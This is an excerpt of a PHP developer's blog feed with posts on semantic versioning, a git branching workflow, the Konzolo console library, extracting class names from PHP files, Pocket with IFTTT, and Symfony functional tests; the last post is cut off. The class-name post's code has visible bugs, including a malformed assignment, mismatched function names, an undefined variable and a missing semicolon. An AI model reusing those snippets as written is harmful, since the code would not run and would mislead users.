<li><a href="https://medium.com/@frankdejonge/a-case-against-coding-lingo-8ffae1a4fa4e">A Case Against Coding Lingo</a></li>
<li><a href="http://techportal.inviqa.com/2014/09/11/my-top-ten-favourite-phpspec-limitations/">My top ten favourite PhpSpec limitations</a></li>
<li><a href="http://everzet.com/post/99045129766/introducing-modelling-by-example">Introducing Modelling by Example</a></li>
</ul>

<h2 id="miscellaneous">Miscellaneous</h2>

<ul>
<li><a href="http://dongilbert.net/a-case-for-service-location/">A case for service location</a></li>
<li><a href="http://blog.schauderhaft.de/2012/01/01/the-one-correct-way-to-do-dependency-injection/">The One correct way to do Dependency Injection</a></li>
<li><p><a href="http://ewanvalentine.io/difference-between-services-and-controllers/">Difference between services and controllers</a></p></li>
<li><p><a href="http://code.tutsplus.com/tutorials/the-repository-design-pattern--net-35804">The repository Design Pattern</a></p></li>
<li><a href="http://www.jefclaes.be/2014/01/repositories-where-did-we-go-wrong_26.html">Repositories, where did we go wrong?</a></li>
<li><p><a href="http://mnapoli.fr/repository-interface/">The repository interface</a></p></li>
<li><p><a href="http://blog.ploeh.dk/2010/12/02/Interfacesarenotabstractions/">Interfaces are not abstractions</a></p></li>
<li><a href="http://blog.ploeh.dk/2010/12/03/Towardsbetterabstractions/">Towards better abstractions</a></li>
<li><a href="http://adamcod.es/2013/11/22/tell-dont-ask.html">Tell, don't ask</a></li>
<li><a href="http://jeremydmiller.com/2014/06/19/pragmatic-and-other-rants/">Why I hate the word “Pragmatic” and other rants</a></li>
<li><a href="http://techportal.inviqa.com/2014/07/23/your-code-sucks-tips-on-giving-feedback-2/">“Your code sucks” – Tips on giving feedback</a></li>
<li><a href="http://marcgg.com/blog/2014/07/22/in-defense-of-legacy-code/">Some Respect For Legacy Code</a></li>
<li><p><a href="https://medium.com/things-developers-care-about/why-your-previous-developer-was-terrible-506a06ae35ea">Why your previous developer was terrible</a></p></li>
<li><p><a href="http://www.dabeaz.com/coroutines/index.html">A Curious Course on Coroutines and Concurrency</a></p></li>
<li><p><a href="http://strongloop.com/strongblog/how-to-generators-node-js-yield-use-cases/">Generators in Node.js: Common Misconceptions and Three Good Use Cases</a></p></li>
<li><p><a href="https://wildlyinaccurate.com/a-hackers-guide-to-git">A Hacker’s Guide to Git</a></p></li>
<li><p><a href="https://wiki.openstack.org/wiki/GitCommitMessages">Git Commit Message Good Practice</a></p></li>
<li><p><a href="http://brikis98.blogspot.fr/2014/05/you-are-what-you-document.html">You are what you document</a></p></li>
<li><p><a href="http://www.infoq.com/articles/better-best-practices">Better Best Practices</a></p></li>
<li><a href="http://symfony.com/doc/2.6/best_practices/index.html">Symfony Best Practices</a></li>
<li><a href="http://knpuniversity.com/blog/AppBundle">Bundles, No Bundles and AppBundle in 10 Steps</a></li>
<li><a href="http://www.whitewashing.de/2014/10/26/symfony_all_the_things_web.html">Symfony All The Things (Web)</a></li>
<li><p><a href="http://welcometothebundle.com/best-resources-about-symfony-tdd-bdd-ddd-methologies/">Best resources about methodologies on Symfony, PHP, DDD, BDD ...</a></p></li>
<li><p><a href="http://jwage.com/post/73741567918/doctrine-is-not-just-an-orm-for-relational">Doctrine is not just an ORM for Relational Databases</a></p></li>
<li><p><a href="http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/working-with-objects.html#entity-object-graph-traversal">Doctrine Entity Object Graph Traversal</a></p></li>
<li><p><a href="http://www.udidahan.com/2009/06/07/the-fallacy-of-reuse/">The fallacy of reuse</a></p></li>
<li><a href="https://today.java.net/article/2006/04/04/exception-handling-antipatterns">Exception-Handling Antipatterns</a></li>
<li><a href="http://martinfowler.com/bliki/OpportunisticRefactoring.html">OpportunisticRefactoring</a></li>
<li><a href="http://www.jefclaes.be/2013/02/adding-r-to-cqs-some-storage-options.html?spref=tw">Adding the R to CQS: some storage options</a></li>
<li><a href="http://dev.imagineeasy.com/post/96604754704/naming-things-considered-hard">Naming things considered hard</a></li>
<li><a href="http://dev-human.com/entries/2014/07/17/Want_To_Be_More_Productive_Work_Less/">Want To Be More Productive? Work Less!</a></li>
<li><a href="http://marmelab.com/blog/2014/09/01/one-new-tech-per-project.html">One New Tech Per Project</a></li>
<li><a href="http://www.slate.com/articles/double_x/doublex/2014/03/brigid_schulte_s_overwhelmed_and_our_epidemic_of_busyness.html">You’re Not As Busy As You Say You Are</a></li>
<li><a href="http://www.martinfowler.com/eaaCatalog/dataMapper.html">For those using "Manager" as a classname: Data Mapper</a></li>
<li><a href="http://knpuniversity.com/blog/composer-require">Update your Docs for "composer require", then Celebrate with a Sandwich</a></li>
<li><a href="http://homakov.blogspot.fr/2013/03/oauth1-oauth2-oauth.html">OAuth1, OAuth2, OAuth...?</a></li>
<li><a href="http://rickosborne.org/blog/2014/01/uncheck-the-struggle-box/">Uncheck the struggle box</a></li>
<li><a href="https://medium.com/@ninjudd/passwords-are-obsolete-9ed56d483eb">Passwords are Obsolete</a></li>
<li><a href="http://php-di.org/news/06-php-di-4-0-new-definitions.html">Why was YAML a bad choice</a></li>
<li><a href="http://nikic.github.io/2012/06/15/The-true-power-of-regular-expressions.html">The true power of regular expressions</a></li>
<li><a href="http://rosstuck.com/notes-from-laraconeu/#custom-requests">Laravel Custom Requests</a></li>
<li><a href="http://blog.ircmaxell.com/2014/10/foundations-of-oo-design.html">Foundations Of OO Design</a></li>
<li><a href="http://stackoverflow.com/questions/22761554/php-get-all-class-names-inside-a-particular-namespace/27440555#27440555">PHP - get all class names inside a particular namespace</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Semantic Versioning]]></title>
            <link href="/2014/12/17/semantic-versioning.html"/>
            <updated>2014-12-17T00:00:00+00:00</updated>
            <id>/2014/12/17/semantic-versioning.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: A library's public API can be: fully qualified class names,
  object's types, exceptions, method names and arguments.</p>
</blockquote>

<p>When working on a project, every change made to it can possibly break its usage.
Sometimes this is because we introduced a bug, but some other times this is
because the project's usage needed to be changed.</p>

<p>Or did it?</p>

<p>In this article, we will discuss about semantic versioning, and public API.</p>

<h2 id="semantic-versioning">Semantic Versioning</h2>

<p>In order to make the migration between two versions easier for users, we could
use <a href="http://semver.org/">Semantic Versioning</a>, which can be summed up as follow:</p>

<blockquote>
  <p>Given a version number MAJOR.MINOR.PATCH, increment the:</p>
  
  <ol>
  <li>MAJOR version when you make incompatible API changes</li>
  <li>MINOR version when you add functionality in a backwards-compatible manner</li>
  <li>PATCH version when you make backwards-compatible bug fixes</li>
  </ol>
</blockquote>

<p>The trick is to define a "public API" (what the user actually use) and promise
that we won't break it as long as we don't increment the MAJOR version.</p>

<h2 id="public-api">Public API</h2>

<p>The "public API" will vary between projects:</p>

<ul>
<li>for a CLI tool, it will be the command names, their options and arguments</li>
<li>for a web API, it will be the URLs</li>
<li>for a library, it will be a set of defined classes</li>
</ul>

<p>Let's focus on libraries.</p>

<h2 id="redaktilo-example">Redaktilo example</h2>

<p>When I started the <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> library I
had a lot of decisions to make:</p>

<ul>
<li>what name and responsibility to give to new objects</li>
<li>what names and arguments to give to methods</li>
<li>what exception to throw in case of errors</li>
</ul>

<p>I knew that I could make the wrong choices, which would mean changing names,
types, arguments, etc. Basically, for the developers using the library it would
mean breaking their code.</p>

<h3 id="private-and-public-classes">Private and public classes</h3>

<p>In order to avoid that as much as possible, I've decided to minimize the number
of classes the developers would use: a <code>Text</code> model and an <code>Editor</code> service.
<code>Editor</code> doesn't contain any logic, it relies on several "private" classes to do
the actual job. It's a <a href="http://en.wikipedia.org/wiki/Facade_pattern">Facade</a>.</p>

<p>So my public API was the <code>Gnugat\Redaktilo\Editor</code>'s fully qualified classname
(full namespace and the class name), and its methods (name and arguments).</p>

<h3 id="private-class-constructors">Private class constructors</h3>

<p>Later on in the project we've introduced a version that didn't change the
defined public API, but broke the projects that were using Redaktilo: the issue
was that we added a new arguments in a private class's constructor.</p>

<p>Therefore the public API was extended to <strong>every</strong> constructors.</p>

<p>To fix the backward compatibility break, we made this new argument optional.</p>

<h3 id="exceptions">Exceptions</h3>

<p>Some time passed and we've decided to re-organize the project's exceptions:
moving them to their own sub-namespace (<code>Gnugat\Redaktilo\Exception</code>)
and throwing only exceptions we owned.
But by doing so we could potentially break project's using our library.</p>

<p>Hence we extended the public API to exceptions.</p>

<p>To avoid backward compatible breaks we simply duplicated the exceptions:
the new ones in the sub-namespace contain all the logic and inherit from the old
exceptions to get their types.</p>

<h2 id="making-changes-to-the-public-api">Making changes to the public API</h2>

<p>Defining a public API doesn't mean we can't make changes to it:</p>

<ul>
<li>we can add new arguments to methods, by making them optional</li>
<li>we can change a class name and type, by creating a new one and make it extend the old one</li>
<li>we can change a method name, by creating a new one and use it in the old one</li>
<li>we can add a method to an interface, by creating a new interface and make it extend the old one</li>
</ul>

<p>Those changes will introduce deprecations that will be removed only when the
MAJOR version is incremented.</p>

<p>This can be documented directly in the code, using <a href="http://www.phpdoc.org/docs/latest/references/phpdoc/tags/deprecated.html">phpdoc</a>:
use <code>@deprecated &lt;since-version&gt; &lt;what to use instead&gt;</code>.</p>

<p>This can also be described in a migration documentation (e.g. <code>UPGRADE-2.0.md</code>).</p>

<h2 id="avoid-complete-rewrites">Avoid complete rewrites</h2>

<p>Semantic versioning only applies to versions greater than <code>1.0.0</code>: if you tag your project as
being in version <code>0.MINOR.PATCH</code> you are allowed to break everything. But
remember that it will make your project very unstable, and people won't trust
it.</p>

<p>In theory you could break everything again when incrementing the MAJOR version
(e.g. from version 1 to version 2), but this won't be appealing at all for
people that already use your project. Try to make as few changes as possible,
document them and give time to your users to stop using deprecated stuff.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Semantic versioning is a versioning methodology which has its perks and
advantages. It gives high priority to user's experience, so you have to define a
line between what should be used (public API) and what shouldn't (private).</p>

<p>Changes to the public API can be made by keeping the old stuff and document it
as deprecated.</p>

<p>When creating a library, remember that exceptions and all constructors (even of
private classes) are part of the public API.</p>

<blockquote>
  <p><strong>Note</strong>: Many thanks to <a href="http://loickpiera.com/">Loïck Piera</a> and his help,
  without him I'd still think that declaring a class as being part of the public
  API is sufficient.</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Keep It Simple and Git]]></title>
            <link href="/2014/12/10/keep-it-simple-and-git.html"/>
            <updated>2014-12-10T00:00:00+00:00</updated>
            <id>/2014/12/10/keep-it-simple-and-git.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Branch only from master, merge back when done and immediately deploy.</p>
</blockquote>

<p>Git proposes a branch system with the possibility to merge them together,
allowing you to separate released code from work in progress one.</p>

<p>Git flows have been created to help you keep the same process in your team.
In this article, we'll have a look at <a href="https://github.com/jbenet">@jbenet</a>'s
<a href="https://gist.github.com/jbenet/ee6c9ac48068889b0912">simple git branching model</a>:</p>

<blockquote>
  <ol>
  <li><code>master</code> must always be deployable.</li>
  <li><strong>all changes</strong> are made through feature branches (pull-request + merge)</li>
  <li>rebase to avoid/resolve conflicts; merge in to <code>master</code></li>
  </ol>
</blockquote>

<h2 id="working-on-a-change">Working on a change</h2>

<p>Changes can be new features, bug fixes, enhancements. They're all coming from
master:</p>

<pre><code class="bash">git checkout master
git checkout -b my-changes
</code></pre>

<h2 id="making-the-change-ready">Making the change ready</h2>

<p>Once you're happy with your branch, you need to update it with the last changes
from master:</p>

<pre><code class="bash">git checkout master
git pull --rebase
git checkout my-changes
git rebase master
git push -fu origin my-changes
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>rebase</code> will rewrite your commits, their dates will be changed
  (therefore their hash will be changed).</p>
</blockquote>

<p>Check your tests, the coding standards and ask for a code review.</p>

<h3 id="managing-conflicts">Managing conflicts</h3>

<p>You can list conflicts (if any):</p>

<pre><code class="bash">git status
</code></pre>

<p>Edit your files and then mark them as solved:</p>

<pre><code class="bash">git add &lt;file&gt;
</code></pre>

<p>When all conflicted files have been resolved, you can continue:</p>

<pre><code class="bash">git rebase --continue
</code></pre>

<h3 id="when-to-merge">When to merge</h3>

<p>Here's a to do list you can use to know if a branch is ready to be merged:</p>

<ul>
<li>is it compliant with the coding standards?</li>
<li>has the code been reviewed?</li>
<li>do the tests pass?</li>
<li>has the Quality Assurance team checked the feature?</li>
<li>will someone be available in the next hour in case of emergency?</li>
<li>does the product owner want this feature now?</li>
</ul>

<h2 id="deploying-the-new-change">Deploying the new change</h2>

<p>If everything is ok with your change, then you can merge it into master:</p>

<pre><code class="bash">git checkout master
git merge --no-ff my-change
git push
git push origin :my-changes
git branch -D my-changes
</code></pre>

<p>It's now time to deploy! You can make a tag:</p>

<pre><code class="bash">git tag -a &lt;version&gt;
git push --tags
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Make small changes, release often.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Lightweight console library]]></title>
            <link href="/2014/12/03/lightweight-console-lib.html"/>
            <updated>2014-12-03T00:00:00+00:00</updated>
            <id>/2014/12/03/lightweight-console-lib.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This article has been deprecated.</p>
  
  <p><strong>TL;DR</strong>: <a href="https://github.com/gnugat/konzolo">Konzolo</a> can be used to create
  minimalistic CLI applications, or to implement the command design pattern.</p>
</blockquote>

<p>After implementing a same feature in many projects, I usually have the reflex to
create a library out of it. <a href="https://github.com/gnugat/konzolo">Konzolo</a> is one
of them :) .</p>

<p>In this article we'll see its features:</p>

<ul>
<li><a href="#create-a-command">Create a command</a></li>
<li><a href="#binding-up-an-application">Binding up an application</a></li>
<li><a href="#input-constraint">Input constraint</a></li>
<li><a href="#input-validator">Input validator</a></li>
<li><a href="#exceptions">Exceptions</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="create-a-command">Create a command</h2>

<p>Let's create a "hello world" command:</p>

<pre><code class="php">&lt;?php

namespace Acme\Demo\Command;

use Gnugat\Konzolo\Command;
use Gnugat\Konzolo\Input;

class HelloWorldCommand implements Command
{
    public function execute(Input $input)
    {
        $name = $input-&gt;getArgument('name');
        echo "Hello $name\n";

        return Command::EXIT_SUCCESS;
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: If the name argument is missing, an exception will be thrown.
  Keep reading to know more about those exceptions.</p>
</blockquote>

<p>We only have to implement the <code>execute</code> method, which receives a convenient
<code>Input</code> class and returns 0 on success (actually this is optional).</p>

<h2 id="binding-up-an-application">Binding up an application</h2>

<p>Now that we have a command, let's put it in an application:</p>

<pre><code class="php">&lt;?php
// File: console.php

use Acme\Demo\Command\HelloWorldCommand;
use Gnugat\Konzolo\Application;
use Gnugat\Konzolo\Input;

require __DIR__.'/vendor/autoload.php';

$input = new Input($argv[1]); // command name (acme:hello-world)
if (isset($argv[2])) {
    $input-&gt;setArgument('name', $argv[2]);
}

$application = new Application();
$application-&gt;addCommand('acme:hello-world', new HelloWorldCommand());

$application-&gt;run($input);
</code></pre>

<p>You can then run it:</p>

<pre><code>php console.php acme:hello-world Igor
</code></pre>

<h2 id="input-constraint">Input constraint</h2>

<p>If you need to validate the input, you can create a constraint:</p>

<pre><code class="php">&lt;?php

namespace Acme\Demo\Validation;

use Gnugat\Konzolo\Exception\InvalidInputException;
use Gnugat\Konzolo\Input;
use Gnugat\Konzolo\Validation\InputConstraint;

class NoWorldNameConstraint implements InputConstraint
{
    public function throwIfInvalid(Input $input)
    {
        $name = $input-&gt;getArgument('name');
        if ('World' === $name) {
            throw new InvalidInputException($input, 'The "name" parameter must not be set to "World"');
        }
    }
}
</code></pre>

<p>This constraint can be used directly in the command, as a dependency:</p>

<pre><code class="php">&lt;?php

namespace Acme\Demo\Command;

use Acme\Demo\Validation\NoWorldNameConstraint;
use Gnugat\Konzolo\Command;
use Gnugat\Konzolo\Input;

class HelloWorldCommand implements Command
{
    private $noWorldNameConstraint;

    public function __construct(NoWorldNameConstraint $noWorldNameConstraint)
    {
        $this-&gt;noWorldNameConstraint = $noWorldNameConstraint;
    }

    public function execute(Input $input)
    {
        $this-&gt;noWorldNameConstraint-&gt;throwIfInvalid($input);
        $name = $input-&gt;getArgument('name');
        echo "Hello $name\n";

        return Command::EXIT_SUCCESS;
    }
}
</code></pre>

<p>And then inject it:</p>

<pre><code class="php">&lt;?php
// File: console.php

use Acme\Demo\Command\HelloWorldCommand;
use Acme\Demo\Validation\NoWorldNameConstraint;
use Gnugat\Konzolo\Application;
use Gnugat\Konzolo\Input;

require __DIR__.'/vendor/autoload.php';

$input = new Input($argv[1]); // command name (acme:hello-world)
if (isset($argv[2])) {
    $input-&gt;setArgument('name', $argv[2]);
}

$application = new Application();
$application-&gt;addCommand('acme:hello-world', new HelloWorldCommand(new NoWorldNameConstraint()));

$application-&gt;run($input);
</code></pre>

<h2 id="input-validator">Input validator</h2>

<p>More conveniently, the command can depend on a validator:</p>

<pre><code class="php">&lt;?php

namespace Acme\Demo\Command;

use Gnugat\Konzolo\Command;
use Gnugat\Konzolo\Input;
use Gnugat\Konzolo\Validation\InputValidator;

class HelloWorldCommand implements Command
{
    private $validator;

    public function __construct(InputValidator $validator)
    {
        $this-&gt;validator = $validator;
    }

    public function execute(Input $input)
    {
        $this-&gt;validator-&gt;throwIfInvalid($input);
        $name = $input-&gt;getArgument('name');
        echo "Hello $name\n";

        return Command::EXIT_SUCCESS;
    }
}
</code></pre>

<p>You can add many constraint in a validator, and set priorities:</p>

<pre><code class="php">&lt;?php
// File: console.php

use Acme\Demo\Command\HelloWorldCommand;
use Acme\Demo\Validation\NoWorldNameConstraint;
use Gnugat\Konzolo\Application;
use Gnugat\Konzolo\Input;
use Gnugat\Konzolo\Validation\InputValidator;

require __DIR__.'/vendor/autoload.php';

$input = new Input($argv[1]); // command name (acme:hello-world)
if (isset($argv[2])) {
    $input-&gt;setArgument('name', $argv[2]);
}

$helloWorldValidator = new InputValidator();
$helloWorldValidator-&gt;addConstraint(new NoWorldNameConstraint(), 42);

$application = new Application();
$application-&gt;addCommand('acme:hello-world', new HelloWorldCommand($helloWorldValidator));

$application-&gt;run($input);
</code></pre>

<blockquote>
  <p><strong>Note</strong>: The highest the priority, the soonest the constraint will be executed.
  For example, a constraint with priority 1337 will be executed before another
  one with priority 23 (even if this second one has been added first in the validator).</p>
</blockquote>

<h2 id="exceptions">Exceptions</h2>

<p>Konzolo's exceptions all implement the <code>Gnugat\Konzolo\Exception\Exception</code> interface.
This means you can catch every single one of them using this type. They also
extend at the standard <code>\Exception</code> class, so if you don't care about Konzolo
specific exceptions, you can catch them all!</p>

<p>This is usefull for example in <a href="https://symfony.com">Symfony2</a>: you can create
a Konzolo exception listener.</p>

<p>You can find more about the different kind of exceptions and their specific
methods in <a href="http://github.com/gnugat/konzolo/tree/master/doc/exception.md">its dedicated documentation</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>We have seen how to create commands and validate their inputs.</p>

<p>Our examples showed how to create a CLI application, but Konzolo is mainly aimed at being used <strong>in</strong>
applications (not only CLI ones).
For example, <a href="https://github.com/gnugat/redaktilo">Redaktilo</a> uses internally
a system of Command/CommandInvoker, using an array as input and sanitizer as a
validation mechanism. All this logic can now be externalized, thanks to Konzolo!</p>

<p>I'd like to keep Konzolo as small as possible, but here's a list of possible
features it could see in the future:</p>

<h3 id="command-finder">Command finder</h3>

<p>Currently we can find commands by their exact names. But wouldn't it be nice if
we could just provide part of a name? Or an alias?</p>

<h3 id="input-factories">Input Factories</h3>

<p>Creating input manually isn't always what we need. A factory that creates one
from an array could improve the situation.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Find all available Fully Qualified ClassNames]]></title>
            <link href="/2014/11/26/find-all-available-fqcn.html"/>
            <updated>2014-11-26T00:00:00+00:00</updated>
            <id>/2014/11/26/find-all-available-fqcn.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="https://github.com/gnugat/nomo-spaco">Nomo Spaco</a> finds a given
  project's PHP files, and read them to give you the available Fully Qualified
  ClassNames.</p>
</blockquote>

<p>PHP provides the following function to find the declared classes of a project:
<a href="http://php.net/get_declared_classes">get_declared_classes</a>.</p>

<p>However this function only lists the classes which have been loaded
(included/required) before its call: the usage of an autoloader breaks it
(<a href="http://getcomposer.org">Composer</a> for example).</p>

<p>In this article, we'll see how to solve this problem.</p>

<h2 id="for-a-single-class">For a single class</h2>

<p>The first step is to find a way to get the Fully Qualified ClassName (fqcn) of
a single class.</p>

<p>A solution would be to read in its source file: if the project follows the
<a href="http://php-fig.org/psr/psr-0">PSR-0</a> or <a href="http://php-fig.org/psr/psr-4">PSR-4</a>
standards, the file should only contain one class and its filename should be the
same as the classname.</p>

<p>Let's create a function that retrieves the namespace declaration:</p>

<pre><code class="php">&lt;?php

function _get_full_namespace($filename) {
    $lines = file($filename);
    $namespaceLine = array_shift(preg_grep('/^namespace /', $lines));
    $match = array();
    preg_match('/^namespace (.*);$/', $namespaceLine, $match);
    $fullNamespace = array_pop($match);

    return $fullNamespace;
}
</code></pre>

<p>Now let's create a function that chops down the filename to get the classname:</p>

<pre><code class="php">&lt;?php

function _get_classname($filename) {
    $directoriesAndFilename = explode('/', $filename);
    $filename = array_pop($directoriesAndFilename);
    $nameAndExtension = explode('.', $filename);
    $className = array_shift($nameAndExtension);

    return $className;
}
</code></pre>

<p>That was easy! To get the Fully Qualified ClassName from a filename we can simply
call those two functions:</p>

<pre><code class="php">&lt;?php

$fqcn = _get_full_namespace($filename).'\\'._get_class_name($filename);
</code></pre>

<h2 id="for-a-project">For a project</h2>

<p>The second step is to find the filenames of all the project's classes. Let's use
the <a href="http://symfony.com/doc/current/components/finder/index.html">Symfony2 Finder Component</a>:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\Finder\Finder;

require __DIR__.'/vendor/autoload.php';

function _get_filenames($path) {
    $finderFiles = Finder::create()-&gt;files()-&gt;in($path)-&gt;name('*.php');
    $filenames = array();
    foreach ($finderFiles as $finderFile) {
        $filenames[] $finderFiles-&gt;getRealpath();
    }

    return $filenames;
}
</code></pre>

<p>And that's it! We can now create a function which calls those three:</p>

<pre><code class="php">&lt;?php

function get_all_fcqns($path) {
    $filenames = _get_filenames($projectRoot);
    $fcqns = array();
    foreach ($filenames as $filename) {
        $fcqns[] = _get_full_namespace($filename).'\\'._get_class_name($filename);
    }

    return $fcqns
}
</code></pre>

<p>It can simply be used like this:</p>

<pre><code class="php">&lt;?php

$allFcqns = get_all_fcqns(__DIR__);
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>By finding all the PHP filenames in a project, and reading them to extract their
namespace and classname, we can easily find all the all available Fully
Qualified ClassNames.</p>

<p>The given functions are not meant to be used in production:</p>

<ol>
<li>they won't include standard and loaded extensions classes
(we could merge the result with <code>get_declared_classes()</code>)</li>
<li>they don't check if the files comply to PSR-0 or PSR-1</li>
<li>they will include test and fixture PHP files</li>
</ol>

<p>I've started a proof of concept: <a href="https://github.com/gnugat/nomo-spaco">Nomo Spaco</a>.
Hopefully it will grow to be more efficient, safer and tested. But for now it
provides you with a package, so you don't have to copy paste anything :) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Read it Later]]></title>
            <link href="/2014/11/21/read-it-later.html"/>
            <updated>2014-11-21T00:00:00+00:00</updated>
            <id>/2014/11/21/read-it-later.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Use <a href="https://ifttt.com/">IFTTT</a> and <a href="http://getpocket.com/">Pocket</a>
  to read tweets, blogs and stuff later (in a commute, in the loo, anywhere).</p>
</blockquote>

<p>We often find interesting links on the web, but don't have time to read them
immediately. This article will describe how to efficiently manage them so we can
read them later.</p>

<blockquote>
  <p><em>Note</em>: this is an actualization of an article wrote
  <a href="/2014/01/08/technology-scouting.html">ten month ago</a>.</p>
</blockquote>

<h2 id="pocket">Pocket</h2>

<p>We all have different strategies to "bookmark" links: actually bookmark them,
favorite a tweet, subscribing to a RSS feed... The problem arises when we do all
of those in the same time: wouldn't it be nice to have a single place to read
them all?</p>

<p>We could use our emails for this: we check them often, we can archive them,
favorite them or delete them. <a href="http://www.google.com/inbox/">Inbox</a> from Google
makes the task even easier: we can snooze an email so it only appears at a given
time, or a given location.</p>

<p>The problem is that it mixes "bookmarks" and "notifications": we could
accidently ignore a business email by mistaking it with a "bookmark".</p>

<p>But don't panic! There's an application for this: <a href="http://getpocket.com/">Pocket</a>
(formerly "Read it later").
The advantage of Pocket is that you can install an extension in your browser so
you can save a link or a tweet, and there's a mobile application which works
offline, so you can read in the subway if you want.</p>

<blockquote>
  <p><strong>Note</strong>: Pocket's ain page is the list of item to read, you can then favorite
  them, tag them, archive them or delete them.</p>
</blockquote>

<h2 id="if-%22this%22%2C-then-%22that%22">If "this", then "that"</h2>

<p>The Pocket extension allows us to save manually links, but what about RSS feeds?
What if we're used to favorite tweets (habits die hard)?</p>

<p>Well there's an application for this: <a href="https://ifttt.com/">If This Then That</a>.
Basically you can select one of the (many) supported triggers (RSS feed, tweet
favoriting and others), then select one of the (many) supported actions (save to
pocket, send an email and others).</p>

<h2 id="conclusion">Conclusion</h2>

<p>All the tools are here! They're free of charge and they follow the philosophy
"do one thing and do it well".</p>

<p>I personally store every links to read later in Pocket, either using the browser
extension or with IFTTT using the following recipe templates:</p>

<ul>
<li>If new tweet by specific user, then save in Pocket</li>
<li>If new RSS feed item, then save in Pocket</li>
</ul>

<p>I then read everyting in the subway (no network, but pocket preloads the items
and keeps them available offline).</p>

<p>If you have trouble going back to Pocket, have a look at
<a href="http://geoffrey.io/muna-your-personnal-paperboy.html">Muna</a>: it should soon be
able to send you a digested email of your Pocket's links to read, every morning.</p>

<p>I hope you enjoyed this article, <a href="https://twitter.com/epiloic">tweet me</a> your
questions/comments if you have nay :) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony2 - Quick functional tests]]></title>
            <link href="/2014/11/15/sf2-quick-functional-tests.html"/>
            <updated>2014-11-15T00:00:00+00:00</updated>
            <id>/2014/11/15/sf2-quick-functional-tests.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Only check the status and exit code, don't use the given <code>TestCase</code>.</p>
</blockquote>

<p>Provided that your controllers and commands are thin and they rely on services
which are heavily unit tested, only checking the status and exit code in your
functional test should be entirely sufficient.</p>

<blockquote>
  <p><strong>Note</strong>: Checking at least the status and exit code is recommended by
  <a href="http://symfony.com/doc/current/best_practices/tests.html#functional-tests">Symfony's Official Best Practices</a>.</p>
</blockquote>

<p>In this article, we will see how easy and quick it is to write them.</p>

<h2 id="making-the-kernel-available">Making the Kernel available</h2>

<p>If you're familiar with <a href="http://symfony.com">Symfony2</a>, you might use one of
the given <code>KernelTestCase</code> to write your tests with <a href="http://phpunit.de">PHPUnit</a>.</p>

<p>The whole purpose of this file is to create an instance of the application's
Kernel, by guessing its localization. The problem with this approach is that it
ties you to the PHPUnit test framework. If you have a look at its code, you'll
also find it a bit complicated.</p>

<blockquote>
  <p><strong>Note</strong>: <code>WebTestCase</code> also makes available a <a href="http://symfony.com/doc/current/book/testing.html#functional-tests">crawler</a>,
  which we don't need as we only intend on checking the status code, not the body.</p>
</blockquote>

<p>Let's take an easier way: we will create a bootstrap file which requires the
kernel's file:</p>

<pre><code class="php">&lt;?php
// File: app/bootstrap.php

require __DIR__.'/bootstrap.php.cache';
require __DIR__.'/AppKernel.php';
</code></pre>

<p>Now all you need to do for your tests is to use this file. For example with
PHPUnit:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- File: app/phpunit.xml.dist --&gt;
&lt;phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="http://schema.phpunit.de/4.3/phpunit.xsd"
    backupGlobals="false"
    colors="true"
    bootstrap="./bootstrap.php"
&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="Test Suite"&gt;
            &lt;directory&gt;./src/AppBundle/Tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<h2 id="testing-commands">Testing commands</h2>

<p>Now let's say we're testing the famous <a href="https://github.com/sensiolabs/SensioDistributionBundle/tree/master/Resources/skeleton/acme-demo-bundle/Acme/DemoBundle">AcmeDemoBundle</a>,
and its <a href="https://github.com/sensiolabs/SensioDistributionBundle/blob/master/Resources/skeleton/acme-demo-bundle/Acme/DemoBundle/Command/HelloWorldCommand.php">hello world command</a>:</p>

<pre><code class="php">&lt;?php

namespace Acme\DemoBundle\Tests\Command;

use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\Console\Output\NullOutput;
use Symfony\Component\Console\Input\ArrayInput;

class HelloWorldCommandTest extends \PHPUnit_Framework_TestCase
{
    private $app;
    private $output;

    protected function setUp()
    {
        $kernel = new \AppKernel('test', false);
        $this-&gt;app = new Application($kernel);
        $this-&gt;app-&gt;setAutoExit(false);
        $this-&gt;output = new NullOutput();
    }

    public function testItRunsSuccessfully()
    {
        $input = new ArrayInput(array(
            'commandName' =&gt; 'acme:hello',
            'name' =&gt; 'Igor',
        ));

        $exitCode = $this-&gt;app-&gt;run($input, $this-&gt;output);

        $this-&gt;assertSame(0, $exitCode);
    }
}
</code></pre>

<p>As you can see our test is neatly structured in 3 parts: input definition, the
actual call and finally the check.</p>

<blockquote>
  <p><strong>Note</strong>: the <code>setAutoExit</code> method will ensure that the application doesn't
  call PHP's <code>exit</code>. The <code>NullOutput</code> ensures that nothing is displayed.</p>
</blockquote>

<h2 id="testing-controllers">Testing controllers</h2>

